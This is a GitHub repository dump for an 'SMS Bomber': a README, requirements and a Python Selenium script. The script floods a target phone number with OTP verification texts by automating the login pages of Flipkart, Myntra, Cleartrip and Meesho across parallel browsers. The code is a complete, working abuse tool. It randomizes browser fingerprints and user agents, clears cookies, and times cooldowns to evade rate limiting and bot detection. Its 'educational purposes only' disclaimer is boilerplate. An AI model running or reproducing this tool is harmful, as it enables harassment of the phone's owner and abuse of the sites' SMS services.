├── Example.jpeg ├── requirements.txt ├── LICENSE ├── README.md └── sms_bomber.py /Example.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abhinavkale-dev/Sms-Bomber/HEAD/Example.jpeg -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | selenium==4.18.1 2 | webdriver-manager==4.0.1 3 | undetected-chromedriver==3.5.5 4 | setuptools>=65.5.0 -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Abhinav Kale 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SMS Bomber 2 | 3 | A cross-platform tool for sending multiple SMS verification requests to a target phone number. 4 | 5 | ![Platform](https://img.shields.io/badge/platform-Windows%20%7C%20macOS%20%7C%20Linux-blue) 6 | ![Python](https://img.shields.io/badge/python-3.6%2B-green) 7 | 8 | ## 📱 Example 9 | 10 | ![SMS Bomber in action](Example.jpeg) 11 | 12 | *Screenshot showing SMS Bomber sending verification requests to a target number* 13 | 14 | ## ⚠️ Disclaimer 15 | 16 | This tool is provided for **EDUCATIONAL PURPOSES ONLY**. SMS bombing can be considered harassment and may be illegal in many jurisdictions. The authors and contributors are not responsible for any misuse of this software. 17 | 18 | - **DO NOT** use this on phone numbers without explicit permission 19 | - **DO NOT** use this tool to harass, annoy, or harm others 20 | - **DO NOT** use this tool for any malicious purposes 21 | 22 | ## 📋 Features 23 | 24 | - Send SMS verification requests in configurable batches 25 | - Cross-platform compatibility (Windows, macOS, Linux) 26 | - Multi-threaded for improved performance 27 | - Batch processing with cooldown periods to avoid rate limiting 28 | - Automatic browser fingerprint randomization 29 | - Detailed progress tracking and statistics 30 | - **Multi-site support** - Rotates between multiple Indian websites for OTP requests 31 | 32 | ## 🌐 Supported Sites 33 | 34 | The script currently supports the following Indian websites (processed in sequence): 35 | - Flipkart 36 | - Myntra 37 | - Cleartrip 38 | - Meesho 39 | 40 | Sites are processed in a specific order (Flipkart → Myntra → Cleartrip → Meesho), ensuring a consistent rotation pattern for each attempt. 41 | 42 | More sites can be easily added by following the template in the `SUPPORTED_SITES` list and adding them to the `SITE_SEQUENCE` list. 43 | 44 | ## 🔄 How It Works 45 | 46 | 1. The script opens multiple Chrome browser instances 47 | 2. Each browser processes sites in a specific sequence (Flipkart → Myntra → Cleartrip → Meesho) 48 | 3. For each site, it navigates to the login page 49 | 4. It enters the target phone number in the login field 50 | 5. It clicks the appropriate button to send a verification SMS 51 | 6. It verifies if the OTP was actually sent by checking for confirmation messages 52 | 7. After completing a batch, it takes a cooldown period 53 | 8. It repeats this process for the configured number of batches 54 | 55 | ## 🔧 Requirements 56 | 57 | - Python 3.6 or higher 58 | - Chrome browser installed 59 | - Internet connection 60 | - For Python 3.12+: setuptools package (included in requirements.txt) 61 | 62 | ## 📦 Installation 63 | 64 | 1. Clone the repository or download the source code: 65 | 66 | ```bash 67 | git clone https://github.com/abhinavkale-dev/Sms-Bomber.git 68 | cd sms_bomber 69 | ``` 70 | 71 | 2. Create and activate a virtual environment: 72 | 73 | **Windows:** 74 | ```bash 75 | python -m venv venv 76 | venv\Scripts\activate 77 | ``` 78 | 79 | **macOS/Linux:** 80 | ```bash 81 | python3 -m venv venv 82 | source venv/bin/activate 83 | ``` 84 | 85 | 3. Install the required dependencies: 86 | 87 | ```bash 88 | pip install -r requirements.txt 89 | ``` 90 | 91 | ## ⚙️ Configuration 92 | 93 | Open `sms_bomber.py` in a text editor and modify these variables at the top of the file: 94 | 95 | ```python 96 | # Configure these variables 97 | PHONE_NUMBER = "1234567890" # <-- Put the target phone number here 98 | BATCH_SIZE = 40 # <-- Number of SMS to send per batch (optimized for reliability) 99 | NUMBER_OF_BATCHES = 3 # <-- Number of batches to send 100 | MAX_CONCURRENT_BROWSERS = 8 # <-- Number of parallel browsers per batch (balanced for stability) 101 | BATCH_COOLDOWN = (90, 120) # <-- Cooldown between batches in seconds (min, max) 102 | ``` 103 | 104 | ### Headless Mode 105 | 106 | By default, the script runs with visible browser windows. If you want to run in headless mode for better performance (no visible browser windows), uncomment this line in the `generate_fingerprint_options()` function: 107 | 108 | ```python 109 | # Headless mode for better performance (uncomment if needed) 110 | # options.add_argument('--headless') 111 | ``` 112 | 113 | Note that some websites might detect and block headless browsers, so visible mode is often more reliable but uses more system resources. -------------------------------------------------------------------------------- /sms_bomber.py: -------------------------------------------------------------------------------- 1 | import undetected_chromedriver as uc 2 | from selenium.webdriver.common.by import By 3 | from selenium.webdriver.support.ui import WebDriverWait 4 | from selenium.webdriver.support import expected_conditions as EC 5 | from selenium.common.exceptions import TimeoutException, NoSuchElementException 6 | import time 7 | import random 8 | import threading 9 | import concurrent.futures 10 | import os 11 | import sys 12 | import platform 13 | import gc 14 | 15 | PHONE_NUMBER = "1234567890" # <-- Put the target phone number here 16 | BATCH_SIZE = 40 17 | NUMBER_OF_BATCHES = 3 18 | MAX_CONCURRENT_BROWSERS = 8 19 | BATCH_COOLDOWN = (90, 120) 20 | 21 | SUPPORTED_SITES = [ 22 | { 23 | "name": "Flipkart", 24 | "url": "https://www.flipkart.com/account/login?ret=/", 25 | "phone_field_selectors": [ 26 | '.r4vIwl.BV\\+Dqf', 27 | 'input[type="text"]', 28 | '.login-form input', 29 | 'form input' 30 | ], 31 | "button_selectors": [ 32 | ('css', '.QqFHMw.twnTnD._7Pd1Fp'), 33 | ('css', 'button[type="submit"]'), 34 | ('xpath', '//button[contains(text(), "Request OTP")]'), 35 | ('xpath', '//span[contains(text(), "Request OTP")]/parent::button'), 36 | ('css', 'button'), 37 | ('xpath', '//button') 38 | ], 39 | "has_checkbox": False, 40 | "success_indicators": [ 41 | "otp sent", 42 | "sent to your mobile", 43 | "enter the otp", 44 | "verify otp" 45 | ] 46 | }, 47 | { 48 | "name": "Myntra", 49 | "url": "https://www.myntra.com/login", 50 | "phone_field_selectors": [ 51 | 'input[type="tel"].form-control.mobileNumberInput', 52 | 'input[type="tel"]', 53 | '.mobileNumberInput', 54 | 'input.form-control' 55 | ], 56 | "checkbox_selectors": [ 57 | 'input[type="checkbox"].consentCheckbox', 58 | '.consentCheckbox', 59 | 'input[type="checkbox"]' 60 | ], 61 | "button_selectors": [ 62 | ('css', '.disabledSubmitBottomOption'), 63 | ('xpath', '//div[contains(text(), "CONTINUE")]'), 64 | ('xpath', '//div[contains(@class, "submitBottomOption")]'), 65 | ('xpath', '//button[contains(text(), "CONTINUE")]') 66 | ], 67 | "has_checkbox": True, 68 | "success_indicators": [ 69 | "sent to", 70 | "resend", 71 | "enter otp", 72 | "verify mobile" 73 | ] 74 | }, 75 | { 76 | "name": "Cleartrip", 77 | "url": "https://www.cleartrip.com/", 78 | "phone_field_selectors": [ 79 | 'input#mobile', 80 | 'input[placeholder*="mobile"]', 81 | 'input[type="number"]', 82 | 'input[type="tel"]', 83 | '.mobile-input__correct input' 84 | ], 85 | "button_selectors": [ 86 | ('css', 'button.sc-dhKdcB'), 87 | ('xpath', '//button[contains(., "Get OTP")]'), 88 | ('xpath', '//span[contains(text(), "Get OTP")]/ancestor::button'), 89 | ('xpath', '//h4[contains(text(), "Get OTP")]/ancestor::button'), 90 | ('xpath', '//button[contains(@class, "bg-black-500")]'), 91 | ('xpath', '//button[contains(., "OTP")]') 92 | ], 93 | "has_checkbox": False, 94 | "success_indicators": [ 95 | "otp sent", 96 | "sent to your mobile", 97 | "verification code", 98 | "verify mobile" 99 | ] 100 | }, 101 | { 102 | "name": "Meesho", 103 | "url": "https://www.meesho.com/auth?redirect=https%3A%2F%2Fwww.meesho.com%2F&source=profile&entry=header&screen=HP", 104 | "phone_field_selectors": [ 105 | 'input.Input__InputField-sc-1goybxj-1', 106 | 'input[type="tel"][maxlength="10"]', 107 | '.Input__InputContainer-sc-1goybxj-0 input', 108 | 'input[type="tel"]' 109 | ], 110 | "button_selectors": [ 111 | ('xpath', '//button[@type="submit"]'), 112 | ('css', 'button.jPEBET'), 113 | ('css', 'button.sc-fEXmlR'), 114 | ('xpath', '//span[text()="Continue"]/ancestor::button'), 115 | ('xpath', '//div[contains(@class, "sc-bjfHbI")]/parent::button') 116 | ], 117 | "has_checkbox": False, 118 | "success_indicators": [ 119 | "resend", 120 | "enter otp", 121 | "verify mobile", 122 | "otp sent" 123 | ] 124 | } 125 | ] 126 | 127 | SITE_SEQUENCE = ["Flipkart", "Myntra", "Cleartrip", "Meesho"] 128 | 129 | def manage_memory(): 130 | """Force garbage collection to free up memory during long runs""" 131 | gc.collect() 132 | if platform.system().lower() == "linux": 133 | try: 134 | os.system("sync") 135 | except: 136 | pass 137 | 138 | def random_delay(min_seconds=0.5, max_seconds=1.5): 139 | """Add a random delay to appear more human-like""" 140 | time.sleep(random.uniform(min_seconds, max_seconds)) 141 | 142 | def generate_fingerprint_options(): 143 | """Generate random browser fingerprint to avoid detection""" 144 | options = uc.ChromeOptions() 145 | 146 | options.add_argument('--disable-gpu') 147 | options.add_argument('--disable-notifications') 148 | options.add_argument('--disable-extensions') 149 | options.add_argument('--disable-popup-blocking') 150 | 151 | options.add_argument('--disable-dev-shm-usage') 152 | options.add_argument('--disable-accelerated-2d-canvas') 153 | options.add_argument('--no-first-run') 154 | options.add_argument('--no-zygote') 155 | options.add_argument('--disable-web-security') 156 | options.add_argument('--disable-features=IsolateOrigins,site-per-process') 157 | options.add_argument('--disable-setuid-sandbox') 158 | options.add_argument('--disable-infobars') 159 | options.add_argument('--ignore-certificate-errors') 160 | options.add_argument('--disable-logging') 161 | options.add_argument('--log-level=3') 162 | options.add_argument('--silent') 163 | 164 | options.add_argument('--js-flags=--expose-gc') 165 | options.add_argument('--disable-hang-monitor') 166 | options.add_argument('--disable-sync') 167 | options.add_argument('--disable-translate') 168 | options.add_argument('--disable-default-apps') 169 | options.add_argument('--blink-settings=imagesEnabled=false') 170 | 171 | 172 | system = platform.system().lower() 173 | if system == 'linux': 174 | options.add_argument('--no-sandbox') 175 | options.add_argument('--disable-dev-shm-usage') 176 | 177 | # Headless mode for better performance (uncomment if needed) 178 | # options.add_argument('--headless') 179 | 180 | resolutions = [ 181 | '800,600', '1024,768', '1280,720' 182 | ] 183 | options.add_argument(f'--window-size={random.choice(resolutions)}') 184 | 185 | user_agents = [ 186 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", 187 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", 188 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0", 189 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15", 190 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0", 191 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 192 | ] 193 | options.add_argument(f'--user-agent={random.choice(user_agents)}') 194 | 195 | languages = ['en-US,en;q=0.9', 'en-GB,en;q=0.9', 'en-CA,en;q=0.9', 'en-IN,en;q=0.9'] 196 | options.add_argument(f'--lang={random.choice(languages)}') 197 | 198 | return options 199 | 200 | def send_sms_in_browser(thread_id, attempts_per_thread, batch_num): 201 | """Function to run in each thread""" 202 | print(f"[*] Batch {batch_num} - Thread {thread_id} starting...") 203 | 204 | startup_delay = random.uniform(0.5, 2) 205 | time.sleep(startup_delay) 206 | 207 | options = generate_fingerprint_options() 208 | 209 | successful = 0 210 | attempts_made = 0 211 | 212 | site_index = thread_id % len(SITE_SEQUENCE) 213 | site_name = SITE_SEQUENCE[site_index] 214 | 215 | site = next((s for s in SUPPORTED_SITES if s["name"] == site_name), SUPPORTED_SITES[0]) 216 | 217 | print(f"[*] Thread {thread_id} assigned to site: {site['name']}") 218 | 219 | try: 220 | system = platform.system().lower() 221 | if system == 'windows': 222 | browser = uc.Chrome(options=options, use_subprocess=True) 223 | elif system == 'darwin': 224 | browser = uc.Chrome(options=options) 225 | else: 226 | browser = uc.Chrome(options=options, use_subprocess=True) 227 | 228 | wait = WebDriverWait(browser, 10) 229 | 230 | for i in range(attempts_per_thread): 231 | try: 232 | print(f"[*] Batch {batch_num} - Thread {thread_id} - Attempt {i+1}/{attempts_per_thread} on {site['name']}") 233 | attempts_made += 1 234 | 235 | browser.set_page_load_timeout(20) 236 | 237 | try: 238 | browser.get(site['url']) 239 | except TimeoutException: 240 | print(f"[!] Page load timeout for {site['name']}, refreshing...") 241 | browser.execute_script("window.stop();") 242 | continue 243 | 244 | random_delay(2, 4) 245 | 246 | print(f"[*] Looking for phone input field on {site['name']}...") 247 | 248 | number_field = None 249 | for selector in site['phone_field_selectors']: 250 | try: 251 | number_field = wait.until( 252 | EC.presence_of_element_located((By.CSS_SELECTOR, selector)) 253 | ) 254 | if number_field.is_displayed(): 255 | print(f"[*] Found input field with selector: {selector}") 256 | break 257 | except: 258 | continue 259 | 260 | if not number_field: 261 | print(f"[-] Could not find phone input field on {site['name']}") 262 | continue 263 | 264 | try: 265 | number_field.clear() 266 | 267 | number_field.send_keys(PHONE_NUMBER) 268 | 269 | input_value = browser.execute_script("return arguments[0].value;", number_field) 270 | if input_value != PHONE_NUMBER: 271 | browser.execute_script(f"arguments[0].value = '{PHONE_NUMBER}';", number_field) 272 | 273 | if browser.execute_script("return arguments[0].value;", number_field) != PHONE_NUMBER: 274 | number_field.clear() 275 | for digit in PHONE_NUMBER: 276 | number_field.send_keys(digit) 277 | time.sleep(0.1) 278 | 279 | final_value = browser.execute_script("return arguments[0].value;", number_field) 280 | print(f"[*] Phone number input: {final_value}") 281 | 282 | browser.execute_script("arguments[0].dispatchEvent(new Event('input', { bubbles: true }));", number_field) 283 | browser.execute_script("arguments[0].dispatchEvent(new Event('change', { bubbles: true }));", number_field) 284 | 285 | except Exception as e: 286 | print(f"[-] Error inputting phone number: {str(e)}") 287 | continue 288 | 289 | random_delay(1, 2) 290 | 291 | if site['has_checkbox']: 292 | print(f"[*] Looking for checkbox on {site['name']}...") 293 | checkbox_clicked = False 294 | 295 | for checkbox_selector in site['checkbox_selectors']: 296 | try: 297 | checkbox = wait.until( 298 | EC.presence_of_element_located((By.CSS_SELECTOR, checkbox_selector)) 299 | ) 300 | if checkbox.is_displayed(): 301 | try: 302 | checkbox.click() 303 | except: 304 | browser.execute_script("arguments[0].click();", checkbox) 305 | 306 | print(f"[*] Clicked checkbox with selector: {checkbox_selector}") 307 | checkbox_clicked = True 308 | break 309 | except: 310 | continue 311 | 312 | if not checkbox_clicked and site['has_checkbox']: 313 | print(f"[-] Could not find or click checkbox on {site['name']}") 314 | continue 315 | 316 | random_delay(1, 2) 317 | 318 | print(f"[*] Looking for OTP/Continue button on {site['name']}") 319 | 320 | button_found = False 321 | 322 | if site['name'] == "Meesho": 323 | try: 324 | submit_buttons = browser.find_elements(By.XPATH, "//button[@type='submit']") 325 | for btn in submit_buttons: 326 | if btn.is_displayed(): 327 | try: 328 | browser.execute_script("arguments[0].click();", btn) 329 | print(f"[*] Clicked Meesho submit button") 330 | button_found = True 331 | break 332 | except: 333 | continue 334 | except: 335 | pass 336 | 337 | if not button_found: 338 | for selector_type, selector in site['button_selectors']: 339 | try: 340 | if selector_type == 'css': 341 | otp_button = wait.until( 342 | EC.presence_of_element_located((By.CSS_SELECTOR, selector)) 343 | ) 344 | else: 345 | otp_button = wait.until( 346 | EC.presence_of_element_located((By.XPATH, selector)) 347 | ) 348 | 349 | if otp_button.is_displayed(): 350 | print(f"[*] Found button with selector: {selector}") 351 | 352 | try: 353 | otp_button.click() 354 | except: 355 | browser.execute_script("arguments[0].click();", otp_button) 356 | 357 | button_found = True 358 | break 359 | except Exception as e: 360 | print(f"[-] Error with button selector {selector}: {str(e)}") 361 | continue 362 | 363 | if button_found: 364 | random_delay(3, 5) 365 | 366 | otp_verified = verify_otp_sent(browser, site) 367 | 368 | if otp_verified: 369 | successful += 1 370 | print(f"[+] Batch {batch_num} - Thread {thread_id} - SMS sent successfully via {site['name']}! ({successful} total)") 371 | else: 372 | if site['name'] == "Meesho": 373 | try: 374 | current_url = browser.current_url 375 | if "otp" in current_url.lower() or "verify" in current_url.lower(): 376 | successful += 1 377 | print(f"[+] Batch {batch_num} - Thread {thread_id} - Meesho redirected to OTP page! ({successful} total)") 378 | continue 379 | except: 380 | pass 381 | 382 | print(f"[?] Batch {batch_num} - Thread {thread_id} - Button clicked but couldn't verify OTP on {site['name']}") 383 | else: 384 | print(f"[-] Could not find or click OTP button on {site['name']}") 385 | 386 | cooldown = random.uniform(3, 5) 387 | time.sleep(cooldown) 388 | 389 | if i % 3 == 0 and i > 0: 390 | try: 391 | browser.execute_script("window.localStorage.clear();") 392 | browser.execute_script("window.sessionStorage.clear();") 393 | browser.delete_all_cookies() 394 | except: 395 | pass 396 | 397 | except Exception as e: 398 | print(f"[-] Error: {str(e)}") 399 | time.sleep(2) 400 | 401 | except Exception as e: 402 | print(f"[-] Fatal error: {str(e)}") 403 | finally: 404 | try: 405 | browser.quit() 406 | except: 407 | pass 408 | 409 | print(f"[*] Thread {thread_id} completed: {successful} successful out of {attempts_made} attempts on {site['name']}") 410 | return successful 411 | 412 | def verify_otp_sent(browser, site): 413 | """Verify if OTP was actually sent by looking for confirmation messages""" 414 | try: 415 | success_messages = site.get('success_indicators', [ 416 | "OTP sent", 417 | "sent to your mobile", 418 | "sent to your phone", 419 | "verification code", 420 | "verification sent", 421 | "code sent", 422 | "sent successfully", 423 | "sent to", 424 | "resend", 425 | "enter otp", 426 | "enter the otp", 427 | "verify otp" 428 | ]) 429 | 430 | page_source = browser.page_source.lower() 431 | 432 | for message in success_messages: 433 | if message.lower() in page_source: 434 | print(f"[+] OTP confirmation found: '{message}' on {site['name']}") 435 | return True 436 | 437 | otp_input_selectors = [ 438 | 'input[placeholder*="otp"]', 439 | 'input[placeholder*="code"]', 440 | 'input[placeholder*="verification"]', 441 | 'input[aria-label*="otp"]', 442 | 'input[name*="otp"]', 443 | 'input.otp-input', 444 | '.otp-input', 445 | 'input[type="tel"][maxlength="6"]', 446 | 'input[type="number"][maxlength="6"]' 447 | ] 448 | 449 | for selector in otp_input_selectors: 450 | try: 451 | otp_field = browser.find_element(By.CSS_SELECTOR, selector) 452 | if otp_field.is_displayed(): 453 | print(f"[+] OTP input field found on {site['name']}") 454 | return True 455 | except: 456 | continue 457 | 458 | # Take a screenshot to debug (uncomment if needed) 459 | # try: 460 | # screenshot_path = f"debug_{site['name']}_{time.time()}.png" 461 | # browser.save_screenshot(screenshot_path) 462 | # print(f"[*] Saved debug screenshot to {screenshot_path}") 463 | # except: 464 | # pass 465 | 466 | return False 467 | except Exception as e: 468 | print(f"[-] Error in verify_otp_sent: {str(e)}") 469 | return False 470 | 471 | def clear_screen(): 472 | """Clear terminal screen in a cross-platform way""" 473 | if platform.system().lower() == "windows": 474 | os.system('cls') 475 | else: 476 | os.system('clear') 477 | 478 | def run_batch(batch_num): 479 | """Run a batch of SMS sending""" 480 | print(f"\n[*] Starting Batch {batch_num}/{NUMBER_OF_BATCHES}") 481 | print(f"[*] Target Number: {PHONE_NUMBER}") 482 | print(f"[*] Messages in this batch: {BATCH_SIZE}") 483 | print(f"[*] Parallel Browsers: {MAX_CONCURRENT_BROWSERS}") 484 | print(f"[*] Operating System: {platform.system()} {platform.release()}") 485 | 486 | print("\n[*] Browser-Site Assignments:") 487 | for i in range(MAX_CONCURRENT_BROWSERS): 488 | site_index = i % len(SITE_SEQUENCE) 489 | site_name = SITE_SEQUENCE[site_index] 490 | print(f" Browser {i+1}: {site_name}") 491 | 492 | start_time = time.time() 493 | 494 | attempts_per_thread = BATCH_SIZE // MAX_CONCURRENT_BROWSERS 495 | if attempts_per_thread < 1: 496 | attempts_per_thread = 1 497 | num_threads = BATCH_SIZE 498 | else: 499 | num_threads = MAX_CONCURRENT_BROWSERS 500 | 501 | remaining_attempts = BATCH_SIZE - (attempts_per_thread * num_threads) 502 | 503 | print(f"[*] Each browser will handle {attempts_per_thread} attempts (plus {remaining_attempts} distributed)") 504 | 505 | manage_memory() 506 | 507 | futures_list = [] 508 | 509 | with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: 510 | for i in range(num_threads): 511 | thread_attempts = attempts_per_thread 512 | if i < remaining_attempts: 513 | thread_attempts += 1 514 | 515 | futures_list.append(executor.submit(send_sms_in_browser, i, thread_attempts, batch_num)) 516 | 517 | successful_total = 0 518 | completed = 0 519 | 520 | for future in concurrent.futures.as_completed(futures_list): 521 | successful_total += future.result() 522 | completed += 1 523 | 524 | print(f"[*] Progress: {completed}/{num_threads} browsers completed, {successful_total} successful SMS sent so far") 525 | 526 | if completed % 4 == 0: 527 | manage_memory() 528 | 529 | manage_memory() 530 | 531 | end_time = time.time() 532 | duration = end_time - start_time 533 | 534 | success_rate = (successful_total / BATCH_SIZE) * 100 if BATCH_SIZE > 0 else 0 535 | 536 | print(f"\n=== Batch {batch_num} Summary ===") 537 | print(f"Attempts: {BATCH_SIZE}") 538 | print(f"Successful: {successful_total}") 539 | print(f"Failed: {BATCH_SIZE - successful_total}") 540 | print(f"Success Rate: {success_rate:.2f}%") 541 | print(f"Time taken: {duration:.2f} seconds") 542 | print(f"Rate: {successful_total / duration:.2f} SMS/second") 543 | 544 | return successful_total 545 | 546 | def send_sms_bombs(): 547 | clear_screen() 548 | print(f"\n{'='*60}") 549 | print(f"SMS Bomber - Cross-Platform Edition") 550 | print(f"Operating System: {platform.system()} {platform.release()} ({platform.machine()})") 551 | print(f"Python Version: {platform.python_version()}") 552 | print(f"{'='*60}") 553 | 554 | print(f"\n[*] Starting SMS Bomber - BATCH MODE") 555 | print(f"[*] Target Number: {PHONE_NUMBER}") 556 | print(f"[*] Total batches: {NUMBER_OF_BATCHES}") 557 | print(f"[*] Batch size: {BATCH_SIZE}") 558 | print(f"[*] Total messages to send: {BATCH_SIZE * NUMBER_OF_BATCHES}") 559 | print(f"[*] Supported Sites ({len(SUPPORTED_SITES)}): {', '.join([site['name'] for site in SUPPORTED_SITES])}") 560 | 561 | print("\n[*] Browser-Site Assignments:") 562 | for i in range(MAX_CONCURRENT_BROWSERS): 563 | site_index = i % len(SITE_SEQUENCE) 564 | site_name = SITE_SEQUENCE[site_index] 565 | print(f" Browser {i+1}: {site_name}") 566 | 567 | overall_start_time = time.time() 568 | total_successful = 0 569 | 570 | try: 571 | for batch in range(1, NUMBER_OF_BATCHES + 1): 572 | successful_batch = run_batch(batch) 573 | total_successful += successful_batch 574 | 575 | manage_memory() 576 | 577 | if batch < NUMBER_OF_BATCHES: 578 | cooldown_time = random.randint(BATCH_COOLDOWN[0], BATCH_COOLDOWN[1]) 579 | print(f"\n[*] Cooldown period between batches: {cooldown_time} seconds") 580 | 581 | for remaining in range(cooldown_time, 0, -1): 582 | progress = int(50 * (1 - remaining / cooldown_time)) 583 | bar = "[" + "#" * progress + "-" * (50 - progress) + "]" 584 | sys.stdout.write(f"\r[*] Next batch starts in {remaining} seconds... {bar}") 585 | sys.stdout.flush() 586 | time.sleep(1) 587 | 588 | if remaining % 30 == 0: 589 | manage_memory() 590 | 591 | print("\n") 592 | 593 | except KeyboardInterrupt: 594 | print("\n\n[!] Process interrupted by user. Shutting down...") 595 | 596 | overall_end_time = time.time() 597 | overall_duration = overall_end_time - overall_start_time 598 | 599 | total_attempts = BATCH_SIZE * NUMBER_OF_BATCHES 600 | overall_success_rate = (total_successful / total_attempts) * 100 if total_attempts > 0 else 0 601 | 602 | print(f"\n{'='*60}") 603 | print(f"SMS Bomber - Final Summary") 604 | print(f"{'='*60}") 605 | print(f"Target Number: {PHONE_NUMBER}") 606 | print(f"Total Attempts: {total_attempts}") 607 | print(f"Total Successful: {total_successful}") 608 | print(f"Total Failed: {total_attempts - total_successful}") 609 | print(f"Success Rate: {overall_success_rate:.2f}%") 610 | print(f"Total Time: {overall_duration:.2f} seconds") 611 | if overall_duration > 0: 612 | print(f"Overall Rate: {total_successful / overall_duration:.2f} SMS/second") 613 | print(f"{'='*60}") 614 | 615 | if __name__ == "__main__": 616 | if len(PHONE_NUMBER) < 10: 617 | print("[-] Error: Please enter a valid phone number in the PHONE_NUMBER variable") 618 | else: 619 | try: 620 | send_sms_bombs() 621 | except KeyboardInterrupt: 622 | print("\n[!] Process interrupted by user") 623 | sys.exit(0) --------------------------------------------------------------------------------